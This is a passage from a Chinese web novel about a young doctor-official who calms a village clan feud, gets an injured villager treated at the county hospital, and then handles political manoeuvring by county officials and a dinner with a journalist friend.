两边的人又开始蠢蠢欲动,都想派自己人跟着,名为照应,实为监督。
“都闭嘴。”叶凡的声音不大,却让现场瞬间安静下来。
他关上后车门,转过身,目光缓缓扫过所有人,最后停留在石磊和王老二脸上。
“今天,我跟你们约法三章。”
“第一,车里只能再上一个人,就是王老二。他是病人的儿子,天经地义。”
王老二脸上露出感激之色,王家的人也松了口气。
石家的人则有些骚动。
叶凡没理会他们,继续说:“石磊,你不能去。你得留下。”
“为什么?”石磊脱口而出。
“因为从现在开始,到我回来为止,红石峡的安危,就交给你了。”叶凡看着他,一字一句地说,“我走之后,你要带着你石家的人,把王家这位大娘的家禽喂好,院子扫干净,水缸挑满。要是少了一只鸡,丢了一根柴,我回来,唯你是问。”
这话一出,全场哗然。
石磊懵了,让他去给仇家当长工?
王家的人也懵了,这是什么道理?
“叶医生,这……”
“这是第二条。”叶凡打断了所有议论,声音陡然转冷,“我开车去县城,来回最快也要四个小时。这四个小时里,如果我听说村里再有一个人动手,一根指头都算。那我就立刻掉头回来。”
他顿了顿,眼神变得锐利如刀:“但我带回来的,就不是急救箱了,而是警察。到时候,王家大娘是死是活,你们自己看着办。”
冰冷的话语,像一盆冰水,浇在每个人的头顶。
所有人都打了个寒噤。他们毫不怀疑,这个看起来文质彬彬的医生,绝对说得出,做得到。
“第三,”叶凡指了指械斗现场那一片狼藉,和溪水里若隐若现的血色,“我回来的时候,不想看到地上还有一滴血,不想看到溪水还是红的,更不想看到任何一把锄头或者柴刀,被当成武器。我要一条干干净净的路,一个安安静静的村子。”
他看着石磊,又看看其他人:“听明白了吗?”
没人回答,但所有人都默默低下了头。那是一种被绝对实力和道理彻底折服后的沉默。
“你这后生,好大的口气。”
一个苍老而有力的声音,从人群后传来。
石三公拄着拐杖,缓缓走了出来。
他那双浑浊但依旧锐利的眼睛,死死盯着叶凡。
“红石峡几百年的恩怨,你想凭三句话就抹
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平?你以为你是谁?县太爷吗?”
村民们自动让开一条路,敬畏地看着这位村里的“土皇帝”。
叶凡迎着他的目光,脸上反而露出了一丝微笑:“老人家,您说错了。我不是县太爷,我就是个医生。”
“我不想抹平什么恩怨,那是你们自己的事。我只想救我车里那个病人。因为救死扶伤,是我的天职。”
他往前走了一步,声音不大,却清晰地传到每个人耳朵里:“但是,一个连救命都要分派系、讲恩怨的村子,在我眼里,跟一具已经没了心跳的尸体,没什么两样。救不救得活,要看你们自己。”
“我今天,只是给这具‘尸体’,做了一次电击除颤。能不能恢复心跳,是继续烂下去,还是活过来,这个选择权,在您,在他们,在红石峡的每一个人手里。”
石三公那张布满皱纹的脸,猛地抽搐了一下。
他想反驳,却发现自己一个字也说不出来。
叶凡这番话,太狠了。
他没有指责,却把最大的责任,像一座山一样,压在了石三公和所有村民的身上。
叶凡不再看他,拉开驾驶座的车门,对王老二说:“上车。”
“哦……好!”王老二如梦初醒,连忙钻进了副驾驶。
桑塔纳发出一声轰鸣,在整个红石峡村民复杂而敬畏的目光注视下,缓缓驶离。
车轮碾过刚刚清理干净的土路,没有一丝颠簸。
车子消失在山口,但叶凡那“约法三章”,却像烙印一样,刻在了每个人的心里。
村民们你看我,我看你,一时间竟不知该做什么。
“还他妈愣着干什么!”石磊突然转身,对着身后的石家汉子们吼道,“没听见叶医生说的吗?打扫干净!挑水!喂鸡!谁他妈敢偷懒,老子先打断他的腿!”
说完,他第一个捡起地上的扫帚,走向那片狼藉的械斗现场。
王家的汉子们面面相觑,也默默地找来工具,开始清理溪边的血污。
高地上,石三公拄着拐杖,看着这辈子都没见过的场景,嘴唇翕动了半天,最终化为一声长长的、无人听见的叹息。
他知道,红石峡的天,从今天起,要变了。
而掀开这片天的,只是一个开着半旧桑塔纳的年轻医生。
第82章 借我身份,一用便好!
桑塔纳在崎岖的山路上颠簸,车厢里,空气仿佛凝固成了铅块。
王老二坐在副驾驶,整个人像一尊被抽了魂的泥塑。
他的双手死死抓着座椅边缘,指节因用力而发白,眼睛一眨不眨地透过后视镜,盯着后排那被简单固定的门板担架。
他娘微弱的呼吸声,就是他此刻全世界唯一的声音。
“叶……叶医生,”王老二的声音干涩得像砂纸在摩擦,“我娘……她……她还能撑到县里吗?”
叶凡目视前方,双手稳稳地把着方向盘,车速很快,却在每一个颠簸前都精准地减速,最大限度地保持了车身的平稳。
这手车技,不像医生,倒像是常年跑山路的老司机。
“闭嘴,省点力气。”叶凡的声音很平淡,听不出情绪,“你现在要做的,不是问问题,是听命令。每过五分钟,你就探一下她的脉搏,告诉我跳得快还是慢。”
“哦,哦!好!”王老二如蒙大赦,立刻笨拙地回过身,将两根粗糙的手指搭在母亲的腕上。
车子驶出峡谷的最后一个隘口,视野豁然开朗,远方县城的轮廓依稀可见。
王老二紧绷的神经,稍稍松懈了一瞬。
他看着叶凡专注的侧脸,那张干净得与周围一切都格格不入的脸,嘴唇动了动,终究还是没忍住。
“叶医生,今天这事……谢谢您。等我娘好了,我给您当牛做马……”
“你娘还没好。”叶凡打断了他,语气依旧平静,“另外,我不需要牛马,红石峡也不需要。你们需要的是做回人。”
王老二被噎得满脸通红,张了张嘴,一个字也说不出来。
他觉得这位叶医生,每一句话都像一把小刀子,不疼,但扎得你心里发麻。
……
青川县人民医院。
急诊科门口,护士和保安正懒洋洋地晒着太阳。
一辆满是泥污的桑塔纳像一头失控的野牛,“嘎吱”一声,以一个夸张的甩尾,停在了大门口,堵住了救护车的通道。
“哎!干什么的!这儿能停车吗?赶紧开走!”一个保安不耐烦地走上前,用力拍打着车窗。
车门猛地被推开,王老二连滚带爬地冲了下来,浑身泥污,脸上还挂着泪痕,他一把抓住保安的胳膊,语无伦次地嘶吼:“救命!快救命啊!我娘要**!”
保安被他这副样子吓了一跳,急诊科的几个护士也皱起了眉头,眼神里带着几分嫌弃和戒备。
这种从乡下来的病人家属,她们见得多了,大多野蛮不讲理。
“嚷嚷什么!推进来,挂号,交钱!”护士长叉着腰,一脸不耐。
就在这时,叶凡从驾驶座上走了下来。
他整了整有些褶皱的白衬衫,绕到车后,打开了车门。
“需要一个平车,一个颈托。立刻通知神经外科和CT室,准备接收一位重度颅脑损伤的病人。”
他的声音不大,但清晰、冷静,带着一种不容置疑的穿透力。
护士长和保安都愣住了,目光落在这个气质不凡的年轻人身上。
“你是谁啊?你让我们准备就准备?”护士长嗤笑一声,“医院有医院的规矩,先去办手续!”
叶凡没有理她,只是抬起头,目光越过众人,看向了从急诊大楼里匆匆走出来的一个白大褂。
那是医院的副院长,姓周,分管医疗业务,叶凡在卫生局开会时见过几次。
周副院长本来是出来透口气的,看到门口的混乱,正要发火,目光却和叶凡对上了。
他先是一愣,随即脸上的表情以肉眼可见的速度,从不悦,转为错愕,再转为震惊,最后化为一种近乎谄媚的恭敬。
“叶……叶副局长?”周副院长几乎是小跑着冲了过来,脸上堆满了笑容,“您……您怎么亲自来了?”
“叶副局长?!”
这四个字,像一颗炸雷,在所有人耳边轰然炸响。
刚才还一脸不耐的护士长,脸“刷”地一下白了,叉着腰的手,尴尬地垂了下来。
那个呵斥叶凡的保安,更是吓得一个哆嗦,恨不得找个地缝钻进去。
王老二也彻底懵了。
他张大嘴巴,呆呆地看着叶凡,又看看那个点头哈腰的副院长。
副局长?
这个救了自己娘,还给自己约法三章的年轻医生,是县里的……官?
“别说废话了。”叶凡的眉头皱着,“病人,重度脑震荡,疑似硬膜下血肿,路上出现过昏迷,血压偏低。我给他用了一支肾上腺素,暂时稳住了生命体征。现在,立刻,马上,送去做检查。”
他说话的语速极快,每一个医学术语都精准无误,那股强大的专业气场,让身为副院长的周胖子都感到一阵压力。
他这才意识到,眼前这位年轻的副局长,不仅是领导,更是一位比他手下所有医生都更懂行的专家!
“是!是!我马上安排!”周副院长不敢有丝毫怠慢,转身对着身后那群已经吓傻了的医护人员怒吼,“都**吗?!没听到叶副局长的话吗?平车!颈托!神经外科的刘主任呢?让他三分钟内滚到CT室!快!”
整个急诊科,瞬间像上了发条的机器,疯狂地运转起来。
几分钟前还无人问津的王家老妇,此刻被五六个专家教授簇拥着,以最快的速度推进了绿色通道。
王老二跟在后面,看着那些平日里眼高于顶的大医生们,在叶凡面前一个个恭敬得像是小学生,他的世界观,在这一刻被彻底颠覆了。
他终于明白了叶凡在车上说的那句话。
做回人。
原来,人和人之间,真的不一样。
CT室外,周副院长亲自陪着,不停地给叶凡递烟、倒水。
“叶副局长,您放心,我已经让刘主任亲自操刀了,他可是我们市里请来的专家,保证万无一失。”
叶凡摆了摆手,没有接他的烟,走到角落里,掏出了自己的手机。
他先是给**的秘书小王打了个电话,言简意赅地汇报了情况。
电话那头的小王,沉默了半晌,只说了一句:“李县长说,放手去做,天塌下来
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,他给你顶着。”
挂了电话,叶凡的指尖在通讯录上划过,最终停在了那个他只存了三个字的名字上——张海涛。
他没有打给张海涛本人,而是拨通了县委办的电话。
“你好,我是卫生局叶凡。请帮我转告张**。”叶凡的语气,公事公办,不带一丝个人情绪,“红石峡今日发生大规模宗族械斗,因处置及时,避免了事态升级为**件。目前,有一名重伤员正在县医院抢救,村内局势暂时平稳。关于后续工作如何开展,我等候张**的指示。”
说完,他便挂了电话。
这通电话,每一个字都堪称艺术。
他没说自己是怎么“处置及时”的,也没提自己的“约法三章”,更没有表功。
他只是陈述了一个事实:你交给我一个烂摊子,差点炸了,被我按住了。现在,皮球踢回给你,下一步,你这位县委**,说怎么办?
……
县委**办公室。
张海涛听完秘书的传话,捏在手里的紫砂茶杯,轻轻放在了桌上。
他没有发火,脸上甚至看不出任何表情,只是走到窗边,看着楼下那片如同棋盘般的县城格局。
良久,他才问了一句:“他一个人,就把几十号人的械斗给按下来了?”
秘书低着头,小声回答:“医院那边传来的消息是……是他凭一己之力,救了械斗中被打伤的村民,才镇住了场子。而且……他还动用了卫生局副局长的身份,亲自指挥了医院的抢救。”
张海涛的眼角,不易察觉地跳动了一下。
他把叶凡扔去红石峡,就像扔一把钝刀子去砍最硬的骨头,本意是想让他折戟沉沙,挫尽锐气。
可他万万没想到,这把刀子,非但没钝,反而自己开了刃。
他不仅用医术这最锋利的刀尖,精准地切中了矛盾的核心;还巧妙地借用了“副局长”这个刀柄,撬动了整个县里的医疗资源。
他这是在用实际行动告诉自己:我不仅能解决江湖的麻烦,也能玩转官场的规矩。
“有点意思。”张海涛的嘴角忽然勾起一抹谁也看不懂的弧度,“这盘棋,越来越有意思了。”
他转过身,对秘书说:“回个电话,告诉叶凡同志。就说县委对他临危不乱、处置果断的工作作风,表示肯定。让他安心在医院等结果,红石峡那边,暂时维持现状。后续,县里会派工作组下去。”
秘书一愣,派工作组?
那叶特派员的功劳……
张海涛仿佛看穿了他的心思,淡淡地说:“杀鸡,是为了儆猴。可如果这只鸡,自己变成了会耍刀的猴,那就要换个玩法了。”
他顿了顿,目光变得深邃:“告诉他,救人是医生的天职,更是我们干部的本分。让他务必,把人给我救活了。”
这最后一句话,看似是命令,实则是一道更深的枷锁。
人救活了,功劳是县委领导有方;人要是**,那你叶凡,就是第一责任人。
风,不仅没有停,反而卷起了更大的漩涡。
第83章 刀锋暂歇,暗流汹涌!
手术室外,红灯刺眼。
空气里弥漫着消毒水的味道,混杂着王老二身上浓重的汗酸气。
他像一头被困在笼子里的野兽,焦躁地在走廊里来回踱步,每一步都踩在众人心上。
周副院长搓着手,脸上堆着恰到好处的关切,嘴里的话像不要钱似的往外冒:“叶副局长,您放心,刘主任是我们这儿一把刀,从市里高薪聘来的,这种手术对他来说,小菜一碟。”
叶凡没说话,只是靠在墙上,目光落在手术室紧闭的大门上,平静得像一潭深水。
他不是不担心,而是太清楚这扇门背后的凶险。
颅脑手术,任何一个微小的失误,结果都是天壤之别。
他能做的已经做完,剩下的,是现代医学的博弈。
周副院长见他神色冷淡,有些尴尬,眼珠一转,又换了个话题:“刚才县委办来电话了,说是张**对您的工作非常肯定,还特意嘱咐我们,一定要全力以赴,不惜一切代价……这都是您领导有方啊!”
这顶高帽,轻飘飘地扣了过来。
叶凡终于有了反应,他偏过头,看了周副院长一眼,眼神里没什么温度。
“周院长,你也是医生出身。你应该知道,手术台上,靠的不是领导,是医生的手。病人能不能活,靠的不是代价,是技术。”
周副院长脸上的肥肉一僵,干笑了两声,不敢再多言。
他感觉自己面对的不是一个二十多岁的年轻人,而是一个看透了一切的老怪物。
就在这时,“啪”的一声轻响,手术室的红灯,灭了。
王老二像被施了定身法,僵在原地。走廊里死一般的寂静。
门开了。
刘主任摘下口罩,露出一张被汗水浸透、疲惫不堪的脸。
他看到周副院长,正要汇报,目光却被旁边气质独特的叶凡吸引。
“手术很成功。”刘主任的声音带着术后的沙哑,“硬膜下血肿已经清除,颅内压降下来了。病人生命体征平稳,送去ICU观察48小时,如果能顺利醒过来,就算闯过鬼门关了。”
“噗通!”
王老二双腿一软,直挺挺地跪了下去,不是对着医生,而是朝着叶凡的方向,一个响头磕在冰冷的地砖上,砰的一声。
“叶局长!您就是我王家的活菩萨!我……”
“起来。”叶凡皱了皱眉,上前一步,把他从地上拽了起来,“我不是菩萨,我是医生。去ICU门口守着吧,你娘醒来,第一个想看到的肯定是你。”
王老二被他拽着,看着叶凡那双干净得不染尘埃的手,眼泪再也忍不住,混着鼻涕,哭得像个三百斤的孩子。
周副院长连忙打着圆场:“对对对,家属去那边等着,这里我们来安排。”
刘主任这才反应过来,看着被王老二叫做“叶局长”的年轻人,试探着问:“这位是?”
“卫生局,叶凡。”叶凡伸出手,“刘主任,辛苦了。刚才的情况,病人术中出血量控制得怎么样?引流管的位置……”
两人就着专业问题,低声交谈起来。叶凡问得精准,每一个问题都在点子上,刘主任从最初的客气,慢慢变成了惊讶,最后化为一种同行间的惺惺相惜。
周副院长站在一旁,看着这一幕,心里五味杂陈。
他忽然明白,这个年轻人为什么能在这个年纪坐上那个位置。
人家凭的,根本就不是什么背景和运气。
就在此时,走廊尽头传来一阵沉稳的脚步声。
一个穿着一身笔挺干部服、头发梳得一丝不苟的中年男人,在一群人的簇拥下走了过来。
男人四十岁上下,国字脸,眼神锐利,带着一股久居上位的审视感。
“哪位是叶凡同志?”男人开口,声音洪亮,带着不容置疑的官腔。
周副院长心里一咯噔,连忙迎了上去:“陈主任!您怎么来了?”
来人是县委办公室副主任陈斌,张海涛最信任的笔杆子之一,在县里的地位举足轻重。
陈斌对他只是略一点头,目光直接锁定了叶凡:“你就是叶凡?”
“我是。”叶凡停止了和刘主任的交谈,平静地迎上他的目光。
“我叫陈斌,县委办的。”陈斌的自我介绍很简短,透着一股居高临下的味道,“奉张**的命令,前来处理红石峡械斗事件的后续事宜。叶凡同志,你辛苦了,初步的工作做得不错。现在,你可以把手头的工作交接一下了。”
他话说得很客气,但意思很明确:你这个“特派员”的任务结束了,可以靠边站了,接下来,该我们这些“正规军”来摘桃子了。
空气瞬间变得微妙起来。
周副院长和刘主任都识趣地退后了半步。
王老二刚想冲上来替叶凡说话,却被叶凡一个眼神制止了。
叶凡笑了,笑意却未达眼底。
“陈主任,恐怕现在还不能交接。”
陈斌眉头一挑,显然没料到他会当面拒绝。
“哦?这是为何?难道张**的命令,你也不听?”
好大一顶帽子。
“张**的命令,我当然要听。”叶凡不急不缓,条理清晰地说道,“张**让我来红石峡,是解决‘疑难问题’。现在,械斗的根源没有解决,村民的情绪没有平复,重伤员还在ICU里生死未卜。在我看来,问题非但没有解决,反而刚刚开始。”
他顿了顿,话锋一转,目光变得锐利起来:“而且,陈主任,你好像忘了一件事。我除了是张**亲点的‘特派员’,还是县卫生局的副局长。车里的病人,是我接来的,手术方案,是我
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建议的。作为主管医生和主管领导,在病人没有脱离危险之前,我有责任,也有权力,对她负责到底。”
“你……”
陈斌被他这番话说得一滞。
叶凡这手玩得太漂亮了。
他把“特派员”的临时身份,和“副局长”的正式身份,完美地捆绑在了一起。
你要我交接“特派员”的工作?
可以。
但我是“副局长”,我要对我的病人负责,这是我的本职工作,你县委办管不着。
“再者说,”叶凡的语气变得更加玩味,“我这个‘特派员’,全称是‘县重点疑难问题专项工作特派员’。现在,我觉得陈主任你,就是我面前一个挺大的‘疑难问题’。”
“你这是什么态度!”陈斌的脸瞬间涨成了猪肝色,他身后的人也纷纷怒目而视。
“我没什么态度。”叶凡摊了摊手,一脸无辜,“我只是在履行我的职责。陈主任,你想接手,可以。请你先回答我三个问题。”
“第一,ICU里这位老人,后续的治疗方案是什么?如果出现并发症,比如肺部感染或者应激性溃疡,应急预案是什么?”
“第二,红石峡两个宗族的矛盾,根源在于水源和土地分配不公,历史遗留问题复杂。你的解决方案是什么?是各打五十大板,还是有更具体的办法?”
“第三,也是最重要的。这次械斗,起因是石家霸道,但王家也动了手。如果王家大娘真的没救回来,这个责任,是算在石磊一个人头上,还是所有参与械斗的人都要追责?量刑的尺度是什么?这个案子,你打算怎么把它办成一个经得起法律和**考验的铁案?”
叶凡每问一个问题,陈斌的脸色就难看一分。
这些问题,一个比一个刁钻,一个比一个棘手。
别说他一个临时赶来的办公室主任,就是让县**局和**来,一时半会也拿不出完美的方案。
叶凡根本不是在交接工作,他是在现场出题考试!
考不过,你就没资格接这个盘!
走廊里,落针可闻。
陈斌和他身后的一众干部,被问得哑口无言,呆立当场。
周副院长和刘主任则是一脸的震撼,他们看着叶凡,像在看一个怪物。
王老二更是听得热血沸腾,他不懂什么大道理,但他知道,叶凡说的每一个字,都是在为他娘,为他们王家,为整个红石峡的将来考虑!
叶凡看着脸色铁青的陈斌,微微一笑,补上了最后一刀。
“陈主任,你慢慢想。我,先去看看我的病人。”
说完,他不再理会呆若木鸡的众人,转身,径直朝着ICU病房的方向走去。
他的背影,在长长的走廊灯光下,被拉得很长。
不卑不亢,一往无前。
第84章 投名状与投喂!
走廊里,陈斌的脸像一块调色板,从铁青到酱紫,最后定格成一种**的灰白。
他带来的那群干部,个个噤若寒蝉,大气都不敢喘。
他们跟着陈主任作威作福惯了,何曾见过自家领导被人当众扒光了底裤,还用三道无解的难题钉在耻辱柱上。
叶凡的背影消失在走廊尽头,那不疾不徐的脚步声,每一下,都像踩在陈斌的脸上。
“看什么看!都杵在这儿当门神吗?”陈斌终于从僵硬中回过神,压低声音,对着手下咆哮,将满腔的怒火和羞愤,尽数倾泻在这些无辜的随从身上。
他不敢在医院发作,这里是叶凡的地盘。刚才叶凡那几句话,已经把“主管医生”和“主管领导”的身份牌打得明明白白。
他再闹,就是不懂业务,胡搅蛮缠。
周副院长像个被踩了尾巴的猫,连忙凑上前,脸上堆着比哭还难看的笑:“陈主任,您消消气,叶副局长他……他就是个技术干部,直肠子,您多担待。”
他这话说得巧妙,既捧了陈斌,又暗中给叶凡解了围。
陈斌冷哼一声,狠狠地瞪了周副院长一眼,仿佛要把这笔账也记在他头上。
他一甩手,带着他那群灰头土脸的下属,头也不回地走了。
那背影,怎么看都透着一股落荒而逃的狼狈。
直到那群人的脚步声彻底消失,周副院长才长长地舒了一口气,后背已然被冷汗浸湿。
他擦了擦额头的汗,看向旁边同样一脸震撼的刘主任,苦笑道:“老刘,看见没?这才是神仙打架。”
刘主任推了推眼镜,镜片后的眼睛里,闪烁着一种复杂的光芒,有震惊,更有几分发自内心的佩服:“我行医三十年,第一次见到有人能把官场和手术台,玩得这么明白。他那三板斧,砍得比我的手术刀还准、还狠。”
王老二愣愣地站在原地,他听不懂什么神仙打架,但他看懂了。
那个县委来的大官,被叶医生三两句话,说得屁都不敢放一个就溜了。
他攥紧了拳头,看着叶凡离去的方向,那双浑浊的眼睛里,第一次燃起了除了仇恨之外的东西。
那东西,叫希望。
……
ICU的探视窗外,叶凡正和当班医生低声交谈。
“血压还是偏低,注意监测尿量,每小时报一次。另外,让护士注意翻身,防止褥疮,物理降温不要停。”
他的话语专业、简洁,没有一丝官僚的口吻,更像一个经验丰富的主任医师在查房。
ICU的医生和护士,对他早已不是对领导的恭敬,而是对一个顶尖同行的尊重。
王老二就站在不远处,不敢靠近,也不敢离开。
他像一个最虔诚的信徒,守护着自己的神祇。
叶凡交代完,走到一个僻静的角落,疲惫地靠在墙上。
从冲进红石峡到现在,他几乎没有合眼,精神高度紧绷,此刻松懈下来,一股倦意排山倒海般袭来。
他掏出手机,屏幕亮起,一条未读短信跳了出来。
是苏沐秋。
“听说你单枪匹马闯龙潭,还顺手在县医院上演了一出‘舌战群儒’?叶大特派员,你这上任第一天,动静是不是太大了点?”
短信的末尾,还跟了一个俏皮的吐舌头表情。
叶凡的嘴角不自觉地勾起一抹笑意。
这抹笑,冲淡了眉宇间的疲惫。
这丫头,消息倒是灵通。
他正要回复,电话就直接打了进来。
“喂。”叶凡的声音有些沙哑。
“听声音,我们的英雄好像快没电了?”电话那头,苏沐秋的声音带着一丝轻快的笑意,像山谷里的清泉,洗去了叶凡心头不少烦躁。
“差不多了,正准备找地方充电。”叶凡难得地开了句玩笑。
“充什么电啊,你现在就是个移动的发电站,走到哪儿,哪儿就电闪雷鸣。”苏沐秋在那边轻笑,随即语气又正经了些,“说真的,你没事吧?我听说了红石峡的事,那种地方,你一个人去太危险了。”
话语里的担忧,不加掩饰。
“我不是一个人。”叶凡看着ICU里那微弱闪烁的仪器灯光,“我带着手术刀去的。”
苏沐秋沉默了片刻,似乎在消化他这句话里的深意。
“那你现在,是把手术刀架在谁的脖子上了?县委办的陈主任吗?”她显然已经知道了走廊里发生的一切。
“他?”叶凡嗤笑一声,“他还不配。我只是在给我的病人清创,有些碍事的苍蝇,总得先拍开。”
“拍得好!”苏沐秋的声音里透着一股兴奋,“我们报社早就想写写这个陈斌了,仗着是张海涛的秘书出身,眼高于顶,尽干些狐假虎威的事。你今天这巴掌,打得江城晚报全体同仁都想给你鼓掌。”
“别给我戴高帽。”叶凡揉了揉太阳穴,“我现在是一个头两个大。”
“那我给你送点头痛药过去?”
“什么药?”
“一份热腾腾的猪脚饭,外加一个美女记者的独家‘投喂’,要不要?”苏沐秋的声音里带着几分狡黠的引诱。
叶凡一愣,心里某个地方,像是被轻轻触碰了一下,有些发痒。
他正要说话,眼角的余光,瞥见周副院长正拿着一份文件,一路小跑着向他奔来,脸上的表情,比见了亲爹还激动。
“先不说了,新的‘病历’送来了。”叶凡压低声音,飞快地说了一句,便挂断了电话。
“叶副局长!叶副局长!”周副院长跑到他面前,气喘吁吁,将手里那份还带着打印机温度的文件,像捧着圣旨一样递了过来,“县委办刚下来的**!您快看
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!”
叶凡接过文件。
A4纸上,黑色的宋体字,方方正正,却透着一股不容置喙的冰冷。
“关于成立青川县红石峡村综合治理工作领导小组的通知”。
组长:叶凡。
副组长:县**局副局长、县**局副局长、县水利局副局长……后面跟着一长串的名字。
文件最后,用加粗的黑体字写着:该领导小组全权负责红石峡村的一切事务,要求在一个月内,彻底解决宗族矛盾,厘清土地水源**,拿出一套可行的长效发展机制。工作成果,直接向县委**会汇报。
落款,是县委办公室的大红印章。
周副院长在一旁,激动得脸上的肥肉都在颤抖:“组长!叶组长!您看,张**这是对您委以重任啊!这可是前所未有的支持力度!”
叶凡看着这份文件,却笑了。
好一个张海涛。
好一招“以退为进”。
他当众顶撞了陈斌,要权。
张海涛不仅给了,还给得更多,给得更彻底。
他成立了一个以叶凡为绝对核心的领导小组,把**、**、水利这些最关键的部门副手,全都变成了叶凡的“副组长”。
这看似是天大的授权,实则是一道最毒辣的阳谋。
你叶凡不是能吗?
不是会解决问题吗?
好,我把所有资源都给你,把所有人的目光都聚焦在你身上。
一个月,解决红石峡几百年的沉疴。
办成了,是你叶凡的功劳,但也是我张海涛用人得当、领导有方。
办不成,那你叶凡,就是志大才疏,夸夸其谈。
到时候,都不用他张海涛动手,那些被你压下去的矛盾,那些看你不顺眼的人,会像潮水一样,把你淹没得连骨头渣子都不剩。
这哪里是授权书,这分明是一份签给全县人民的“投名状”。
赢,则一步登天。
输,则万劫不复。
“叶组长,您……您怎么了?”周副院长看叶凡半天不说话,只是盯着文件笑,心里有些发毛。
叶凡折好文件,放进口袋,拍了拍周院长的肩膀:“没什么。周院长,ICU这边,你多费心。我这个病人,要是出了任何问题,我这个组长,可就出师未捷身先**。”
他这话半开玩笑,却听得周副院长一个激灵,把胸脯拍得山响:“您放心!我今天就睡在ICU门口!保证万无一失!”
叶凡点点头,转身向外走去。
他现在需要做的,不是去开会,也不是去研究方案。
他要去吃饭。
猪脚饭。
因为他知道,接下来这场硬仗,比任何一台手术都更耗费心力。
他必须喂饱自己,才有力气,去拿起张海涛扔过来的这把最重、也最锋利的“手术刀”。
第85章 猪脚饭与手术刀!
县医院门口的夜市,是青川县最有烟火气的地方。
油烟、孜然、蒜蓉的香气混合在一起,钻进鼻腔,能把人从任何紧绷的状态里拽出来,重新扔回滚滚红尘。
叶凡穿过喧闹的人群,一眼就看到了那个坐在小马扎上,正对着一盘猪脚饭大快朵颐的姑娘。
苏沐秋穿了件简单的白色T恤,牛仔裤,扎着马尾,素面朝天,却在油腻腻的环境里,干净得像一株雨后新荷。
她吃得毫无淑女形象,嘴角还沾着一粒米,腮帮子一鼓一鼓的,像只囤食的仓鼠。
看到叶凡,她眼睛一亮,把嘴里的饭咽下去,举起筷子指了指对面的位置。
“叶大组长,快请坐!您的‘庆功宴’兼‘断头饭’,我给您备好了。”
叶凡在她对面坐下,老板已经麻利地端上了一模一样的一份猪脚饭,肥瘦相间,酱汁浓郁,配上一碗冒着热气的骨头汤。
他确实饿坏了,拿起筷子,什么都没说,埋头就吃。
苏沐秋也不说话,就托着下巴,笑吟吟地看着他。
那眼神,像是在欣赏一件自己刚发掘出来的稀世珍品。
“慢点吃,没人跟你抢。”她抽了张纸巾,递过去,“看你这饿死鬼投胎的样子,不知道的还以为你在红石峡被村民们吊起来打了三天三夜。”
叶凡接过纸巾,擦了擦嘴,灌了一大口汤,胃里暖和起来,紧绷的神经才算真正松弛下来。
“比那还累。”他呼出一口气。
“我看看,”苏沐秋忽然凑近了些,鼻尖几乎要碰到他的脸,一股淡淡的洗发水香味飘了过来,“让我看看我们的大英雄,脸上是不是写满了‘升官发财’四个字?”
叶凡下意识地往后仰了仰,拉开距离。
“只写了四个字,”他扒拉着碗里的饭,“‘疲劳驾驶’。”
苏沐秋被他逗得咯咯直笑,胸前的T恤跟着微微起伏。
“那份**,我看到了。”笑完,她敛起神色,语气变得正经,“张海涛这一手,玩得真漂亮。”
“嗯。”叶凡应了一声,继续吃饭。
“他这不是给你授权,是给你上套。”苏沐-秋用筷子头敲了敲桌子,像个小老师在划重点,“你现在是组长,**、**、水利,都归你调配。看着风光无限,可这些人,哪个是省油的灯?他们都是副职,听你一个外来户的?阳奉阴违,给你下点绊子,你就寸步难行。”
“而且,一个月的时间。一个月解决几百年的问题?他这是把你架在火上烤。烤熟了,肉是他张**的,说是他领导有方;烤糊了,锅是你叶凡的,说你无能。”
她的话,一针见血,和叶凡心里的判断不谋而合。
叶凡终于吃完了最后一口饭,放下筷子,看着她:“说完了?”
“说完了。”
“分析得这么透彻,苏大记者有什么高见?”
“高见没有,建议有一条。”苏沐秋神秘一笑,“你需要一把刀,一把**的刀。”
“你的笔?”
“我的笔,就是江城晚报的头版头条。”苏沐秋的眼睛在夜市的灯光下,亮得惊人,“你需要让全县的人都看到,你在红石峡做了什么,遇到了什么困难,又是怎么解决的。你要把这盆脏水,搅得更浑,让所有想在水下摸鱼的人,都暴露在阳光底下。到时候,那些想看你笑话的,想给你使坏的,就得掂量掂量,跟**作对的下场。”
叶凡看着她,没说话。
苏沐秋被他看得有点不自在,摸了摸脸:“怎么了?我脸上有东西?”
“我在想,”叶凡的语气很认真,“娶了你,是不是每天晚上睡觉都得防着被你写成内参,直接送到****的办公桌上?”
苏沐秋的脸“腾”地一下就红了,从脸颊一直蔓延到耳根。
她抓起手边的筷子,作势要打:“叶凡!你狗嘴里吐不出**!”
这突如其来的荤话,像一颗石子,投入了两人之间那条名为“战友情”的小溪,激起了一圈暧昧的涟漪。
叶凡哈哈一笑,心情莫名好了许多。
他站起身,从口袋里掏出钱,在桌上压了一张五十的:“老板,结账。”
“这就走了?”苏沐秋也跟着站起来,脸上的红晕还没褪尽。
“嗯,充电充满了,该回去做手术了。”叶凡看着她,“你那把刀,先替我磨快了。什么时候用,我给你打电话。”
“喂!我可不是你召之即来挥之即去的!”苏沐秋在他身后嚷嚷,但嘴角却忍不住向上扬起。
叶凡没回头,只是摆了摆手,高大的背影很快就消失在了夜色里。
……
回到县卫生局分的临时宿舍,叶凡冲了个澡,换了身干净衣服。
他没有急着去研究那份名单,而是坐在书桌前,摊开一个笔记本,在最上面写下三个字:
红石峡。
然后,他画了一个圈,在圈里写下两个字:人心。
他闭上眼睛,脑海里浮现出红石峡的一幕幕。
石磊的血性,王老二的绝望,石三公的冷酷,还有那些村民们麻木又恐惧的眼神。
张海涛和陈斌他们,把红石峡当成一个“问题”,一个“事件”,一个需要“处理”的烂摊子。
但在叶凡眼里,它是一个病人。
一个病入膏肓,心脉瘀阻的病人。
想治好这个病人,靠那些副局长们开会、发文、搞工作组,是治标不治本。
那等于给一个心脏衰竭的病人吃止痛片。
必须找到病灶,切开,清创,缝合。
而病灶的核心,就是“不公”和“不信”。
几代人积累下来的不公,和对一切外来“官家”的彻底不信。
他睁开眼,眼神清亮。
他知道自己的第一刀,该从哪里下了。
他拿起手机,没有打给名单上那些看起来最有权力的**局或者水利局副局长,而是翻到了**局副局长——钱卫国。
电话响了很久才被接起,那
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头传来一个睡意惺忪、带着几分官场老油条特有慵懒的声音。
“哪位啊?”
“钱局长,你好,我是叶凡。”
“叶凡?”对方显然愣了一下,随即反应了过来,语气立刻变得客气又疏远,“哦,叶组长啊,这么晚了,有什么指示?”
这声“叶组长”,叫得意味深长。
“指示谈不上,想请钱局长帮个忙。”叶凡的语气很平静。
“叶组长客气了,有事您吩咐。”钱卫国的声音里,听不出任何情绪。
